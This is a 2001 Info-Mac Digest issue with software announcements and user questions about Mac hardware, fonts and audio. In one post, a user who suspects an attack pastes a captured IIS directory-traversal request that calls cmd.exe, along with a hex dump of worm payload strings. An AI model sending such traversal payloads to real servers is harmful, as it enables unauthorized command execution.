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Info-Mac Digest Mon, 24 Sep 01 Volume 18 : Issue 121

Today's Topics:

[*] MacSatellite 1.3
[*] MacSatellite X 1.3
[*] MAGE v1.0
[*] Paragon Blackjack 2.2.3
[*] Paragon Poker Suite 2.2.1
[*] RPN Calculator 1.4.1 68K
[*] RPN Calculator 1.4.1 Carbon
[*] RPN Calculator 1.4.1 PPC
[*] RWAsm 2.0.2 -- An assembler for RoboWar
[Q] Audio recording from DV stream
Am I being hack-attacked?
Converting TrueType from Windows to Mac format
looking for word 6 updater
Pop-up menu in Finder
Wallstreet PRAM Battery
Wallstreet PRAM Battery
Wallstreet PRAM Battery

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Date: 24 Sep 2001
From: Eduardo Foster
To:
Subject: [*] MacSatellite 1.3


Freeware
Version 1.3
Req : MacOS 8.0 or higher, 5 mb of Free Ram

There's a read me file in the archive that explains what the program do.

[Archived as /info-mac/gst/snd/mac-satellite-13.hqx; 705 K]

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Date: 24 Sep 2001
From: Eduardo Foster
To:
Subject: [*] MacSatellite X 1.3


Freeware
Version 1.3
Req : MacOSX, 5 mb of Free Ram

There's a read me file in the archive that explains what the program do.

[Archived as /info-mac/gst/snd/mac-satellite-13-osx.hqx; 915 K]

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Date: 24 Sep 2001
From: Aaron Golden
To:
Subject: [*] MAGE v1.0


MAGE v1.0
by Aaron Golden and Tim Omernick

Look, there are fields
Image parameters controlled
by the equations

Type an equation (using 'x' and/or 'y' as variables)
in each field "Red", "Green", "Blue", and "Block
Size". When you click "Draw", MAGE will fill every
"Block Size" square of the image with a color
determined by the equations in the other fields. The
color values should be between 0 and 1, where 0 =
black and 1 = white.

Functions supported:
abs
acos
asin
atan
cos
cosh
deg
exp
fac
log
log10
rad
round
sin
sinh
sqr
sqrt
tan
tanh
trunc
floor
ceil

[Archived as /info-mac/sci/mage-10.hqx; 108 K]

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Date: 24 Sep 2001
From: [email protected]
To:
Subject: [*] Paragon Blackjack 2.2.3


More than just a high-end Blackjack game! This package was originally
designed as a high-speed Blackjack strategy simulator. Registered users
can test & combine various strategies to decide the best playing
options. Software and book combination show it is possible to earn a
living by playing Blackjack with strategies that can be tested and
proven on the kitchen table prior to playing for real.

System Requirements:
Apple Macintosh running System 7 or later with a minimum 600x800
resolution display and 2MB RAM.

[Archived as /info-mac/game/crd/paragon-blackjack-223.hqx; 852 K]

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Date: 24 Sep 2001
From: [email protected]
To:
Subject: [*] Paragon Poker Suite 2.2.1


Paragon Poker Suite is a complete suite of popular poker games such as 5
Card Draw, Texas Hold 'Em and 7 Card Stud. The suite also features a
high speed Poker Calculator to provide odds and statistics on any
starting poker hand over up to a million deals and with up to six
players.
Paragon Poker Suite also utilizes the Speech Manager (if installed) to
make the players talk to each other and speak their actions.
Paragon Poker Suite truly fills a much needed gap in the Macintosh Poker
games market which is mainly dominated by video poker type games.

System Requirements:
Apple Macintosh running System 7 or later with a minimum 600x800
resolution display and 2MB RAM.

[Archived as /info-mac/game/crd/paragon-poker-suite-221.hqx; 767 K]

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Date: 24 Sep 2001
From: iMac
To:
Subject: [*] RPN Calculator 1.4.1 68K


Attached are newer versions of RPN Calculator, which is currently under
your sci/calc directory. There are too many fixes since the version on
your site, but the version history (and the files themselves) can be
found at the RPNC web site:

http://homepage.mac.com/bigbadbake/RPNC/rpnc.htm

The program has become "shareware", but no changes exist in that regard.
That is, it is fully functional and there is no firm obligation
(crippling, messages or otherwise) for the user to pay for it.

[Archived as /info-mac/sci/calc/rpn-calculator-141-68k.hqx; 710 K]

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Date: 24 Sep 2001
From: iMac
To:
Subject: [*] RPN Calculator 1.4.1 Carbon


Attached are newer versions of RPN Calculator, which is currently under
your sci/calc directory. There are too many fixes since the version on
your site, but the version history (and the files themselves) can be
found at the RPNC web site:

http://homepage.mac.com/bigbadbake/RPNC/rpnc.htm

The program has become "shareware", but no changes exist in that regard.
That is, it is fully functional and there is no firm obligation
(crippling, messages or otherwise) for the user to pay for it.

[Archived as /info-mac/sci/calc/rpn-calculator-141-cbn.hqx; 945 K]

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Date: 24 Sep 2001
From: iMac
To:
Subject: [*] RPN Calculator 1.4.1 PPC


Attached are newer versions of RPN Calculator, which is currently under
your sci/calc directory. There are too many fixes since the version on
your site, but the version history (and the files themselves) can be
found at the RPNC web site:

http://homepage.mac.com/bigbadbake/RPNC/rpnc.htm

The program has become "shareware", but no changes exist in that regard.
That is, it is fully functional and there is no firm obligation
(crippling, messages or otherwise) for the user to pay for it.

[Archived as /info-mac/sci/calc/rpn-calculator-141-ppc.hqx; 805 K]

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Date: 22 Sep 2001
From: Bryant Brandon
To:
Subject: [*] RWAsm 2.0.2 -- An assembler for RoboWar


RWAsm 2.0.2 -- An assembler for RoboWar, and a plugin for BBEdit.

Requirements:
1) BBEdit Lite 4.0 or better.
2) A Mac that can run BBEdit Lite 4.0 or better.

Use:
Drop RWAsm into BBEdit's Plugin directory. Open a Robowar robot file
with BBEdit. Edit the source, and press command-k to assemble it.

Legal:
This is distributed as public domain ware. Use it however you like.

[Archived as /info-mac/dev/rwasm-202.hqx; 87 K]

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Date: Sat, 22 Sep 2001 00:05:35 -0400
From: Allan Hunter
To: Chap Godbey
Subject: [Q] Audio recording from DV stream

I don't understand this at all. I record analog sound on my
PowerBook using 16-bit 44.1kHz all the time. I've converted dozens
of old vinyl albums and cassette tapes to MP3 format and/or audio CD.

Under what circumstances are you experiencing Sound Manager problems?
And why are you using the Sony doohickey instead of the regular
sound-in jack? (Or do you have one of the newer boxes that doesn't
HAVE a regular sound-in jack?)

At 4:29 PM -0700 9/19/01, Chap Godbey wrote:
> I bought this neato Sony DVMC-DA2 media converter thingy.
>Supposedly it sucks up whatever analog input it sees (S-video, video,
>audio, the cat, whatever) and puts it into nifty digital and vice versa.
> It works just peachy with iMovie.
> On the other hand, I bought it partly to be able to take my old 45
>records and record them, and the experience of recording blank video and
>stripping the audio from it is time-intensive and a big disk space hog for
>all that blank digital video.
> Sound Manager sort of freaks out whenever it faces digital audio
>in; I understand it can't function with 44.1kHz input for some reason. So
>that means ProTools Free and all the other recording programs choke on the
>converter as well. I'd love a way to record just the audio stream.
>
> Any ideas?
>
>Chap.

--
Allan Hunter




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Date: Fri, 21 Sep 2001 21:09:54 -0500
From: "Gib Henry"
To: "Info-Mac List"
Subject: Am I being hack-attacked?

I have a DSL connection which is always on and running NetPresenz
4.1. I noticed some activity in the log and turned on Interarchie's
network traffic capture. Here's what I saw:

Receive data (100 bytes).
>00000000> GET½spc©/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir½spc©
>00000039> HTTP/1.0½cr©½lf©
>00000043> Host:½spc©www½cr©½lf©
>0000004E> Connnection:½spc©close½cr©½lf©
>00000062> ½cr©½lf©

Is someone trying to hack into my Mac, thinking it's a Windoze NT
machine?! Here's some more stuff they're trying:

>00000BD0> 00 5C 45 58 50 4C 4F 52 45 52 2E 45 58 45 00 00 .\EXPLORER.EXE..
>00000BE0> 00 53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 .SOFTWARE\Micros
>00000BF0> 6F 66 74 5C 57 69 6E 64 6F 77 73 20 4E 54 5C 43 oft\Windows NT\C
>00000C00> 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 57 69 urrentVersion\Wi
>00000C10> 6E 6C 6F 67 6F 6E 00 00 00 53 46 43 44 69 73 61 nlogon...SFCDisa
>00000C20> 62 6C 65 00 00 9D FF FF FF 53 59 53 54 45 4D 5C ble......SYSTEM\
>00000C30> 43 75 72 72 65 6E 74 43 6F 6E 74 72 6F 6C 53 65 CurrentControlSe
>00000C40> 74 5C 53 65 72 76 69 63 65 73 5C 57 33 53 56 43 t\Services\W3SVC
>00000C50> 5C 50 61 72 61 6D 65 74 65 72 73 5C 56 69 72 74 \Parameters\Virt
>00000C60> 75 61 6C 20 52 6F 6F 74 73 00 00 00 00 2F 53 63 ual Roots..../Sc
>00000C70> 72 69 70 74 73 00 00 00 00 2F 4D 53 41 44 43 00 ripts..../MSADC.

Looks like they're trying to take control of a Windoze box...?
Cheers,

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Date: Sat, 22 Sep 2001 20:58:03 +0200
From: Christian F Buser
To: Info-Mac Digest
Subject: Converting TrueType from Windows to Mac format

I need to convert a TrueType font for writing Twi (a Ghanaian
language with special characters) from Windows to Macintosh.

I tried with Fontographer (from Macromedia) but then the font's
characters are shifted by one position (means, the "A" is at position
"@", the "B" is at position "A"). I then found TTConverter 1.5, and I
can drag the Windows font file over the application. But then I can't
open the font becaus the Mac says it is damaged.

What other possibilities do I have to convert this font and use it on
the Mac? I don't want to buy a Windows PC just for this.

Thank you, Christian.
--
Christian F. Buser, Hohle Gasse 6, CH-5507 Mellingen (Switzerland)
Look at
Die Natur gab uns zwei Ohren, aber nur eine Zunge (Zulu).

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Date: Sun, 23 Sep 2001 18:59:48 -0400
From: John McGibney
To: InfoMac posting ,
Subject: looking for word 6 updater

I had to reinstall ms office 98 and I lost the updater for word 6.0. MS no
longer has it on their site. Can anybody send me a copy or tell me where it
can be found?

TIA

John McGibney

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Date: Sat, 22 Sep 2001 00:17:20 -0400
From: Allan Hunter
To: RobD , "[???]"
Subject: Pop-up menu in Finder

I assumed that the OP meant that there was no easy way to go back up
the hierarchy in mid-drag or mid-hover. To access the header's
drop-down box, you have to first release the mouse then Command-click
the header. Definitely not something you'd want to do if you are
trying to drag a file to a target destination!

At the risk of sounding like a broken record, it was SO much easier
under System 7 with PopupFolder. It turned your entire hard drive
into a hierarchical menu like the Apple Menu--easy to navigate, easy
to go anywhere in the hierarchy, no ugly Finder windows popping up in
random places and set to random views!

At 7:19 AM -0400 9/20/01, RobD wrote:
>Quoting The Info-Mac Network and possibly previous message on 9/18/01
>1:10 PM.
>
>>
>>
>>>> P.S. - I know about the 1.5 click to get the magnifying glass to
>>>> spring open folders. Unfortunately, this does not give me the
>>>> possibility of going back up the hierarchy once I've scanned the open
>>>> folder and not found what I was looking for.
>>>> --
>>
>>doesn't that just drive you crazy! you've really got know where you're
>>going.
>>
>>---------------------------
>>[email protected]
>
>Command (or Apple Key) Click the Header of the last folder and navigate
>back to your hearts content! It gives you hierarchy return structure.
>
>Also you can use "Open Enclosing Folder" command in the file menu to move
>up one level only in a Find scenario.
>
>>>>-----------Reach me by ICQ# 7162477------------------
> ~~~ Read my contributions ~~~

--
Allan Hunter




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Date: Sat, 22 Sep 2001 00:22:56 -0400
From: Allan Hunter
To: Paolo Bartoli , Info Mac
Subject: Wallstreet PRAM Battery

I have the same PowerBook and the same problem (I presume; we all
know the symptoms of dead PRAM). I called Apple to ask about it and
was told that it doesn't HAVE a replaceable PRAM battery in the same
sense that desktop Macs do. The PRAM battery in the WallStreet PB is
supposed to be permanent and rechargeable.

After jotting down and following instructions for how to trigger a
full recharge, I am still stuck with a PowerBook that loses its
parameter RAM (and Power Management) settings every time I unplug it
from the wall unless I keep a battery in one of the expansion bays,
something I was not in the habit of doing. I am now, though, since
I'm tired of resetting mouse, keyboard, AppleTalk, cursor flashing
rate, Date & Time, and other settings.

If you get useful information about replacing it, let me know!

At 12:40 PM +0200 9/21/01, Paolo Bartoli wrote:
>my Wallstreet (233) PB's PRAM battery has died.
>
>I'd like to replace it, but need to identify:
>- which battery is
>- where to buy it (online)
>- how to replace it
>
>thanks a lot!
>--
>Paolo Bartoli
>
>** Arch.Carlo Bartoli / Bartoli Design **
>** [email protected] **

--
Allan Hunter




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Date: Sun, 23 Sep 2001 16:10:29 +0200
From: Paolo Bartoli
To: [email protected], Info Mac
Subject: Wallstreet PRAM Battery

At 0:22 -0400 22-09-2001, Allan Hunter wrote:
>I have the same PowerBook and the same problem (I presume; we all
>know the symptoms of dead PRAM). I called Apple to ask about it and
>was told that it doesn't HAVE a replaceable PRAM battery in the same
>sense that desktop Macs do. The PRAM battery in the WallStreet PB
>is supposed to be permanent and rechargeable.
>
>After jotting down and following instructions for how to trigger a
>full recharge, I am still stuck with a PowerBook that loses its
>parameter RAM (and Power Management) settings every time I unplug it
>from the wall unless I keep a battery in one of the expansion bays,
>something I was not in the habit of doing. I am now, though, since
>I'm tired of resetting mouse, keyboard, AppleTalk, cursor flashing
>rate, Date & Time, and other settings.
>
>If you get useful information about replacing it, let me know!

Allan,
my italian reseller got in contact with Apple and said that the PRAM
battery is available. Unfortunately it cost the equivalent of 50$+
service...
Found on the internet some sources for that PRAM battery:

At 20:29 -0400 21-09-2001, David Turner wrote:
>You can get the entire Powerbook G3 Series (Wallstreet) Service
>Manual at
>,
>which should include instructions on replacing the backup battery.
>
>As for where to find a replacement, one source is
>, where you can get a complete kit,
>including instructions, for US$35.
>
>At such a high price, you might want to make sure your backup
>battery is truly the cause. Apple outlines a procedure for checking
>your Powerbook battery at
>.
>
>HTH
>David

and this too:

At 14:53 +0100 21-09-2001, VIS wrote:
>Date: Fri, 21 Sep 2001 14:53:51 +0100
>From: VIS
>Subject: Re: Wallstreet PB PRAM Battery
>
>Clock battery for the 'Wallstreet' is 24 pounds, plus P&P plus Vat
>
>Apple part no. is 922-3380
>
>Regards Tony
>
>www.applemacparts.com
--
Paolo Bartoli

** Arch.Carlo Bartoli / Bartoli Design **
** [email protected] **

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Date: Fri, 21 Sep 2001 20:29:56 -0400
From: David Turner
To: [email protected], Paolo Bartoli
Subject: Wallstreet PRAM Battery

You can get the entire Powerbook G3 Series (Wallstreet) Service
Manual at
,
which should include instructions on replacing the backup battery.

As for where to find a replacement, one source is
, where you can get a complete kit,
including instructions, for US$35.

At such a high price, you might want to make sure your backup battery
is truly the cause. Apple outlines a procedure for checking your
Powerbook battery at
.

HTH
David

At 6:30 PM -0400 9/21/01, Paolo Bartoli wrote:
>my Wallstreet (233) PB's PRAM battery has died.
>
>I'd like to replace it, but need to identify:
>- which battery is
>- where to buy it (online)
>- how to replace it
>
>thanks a lot!

--

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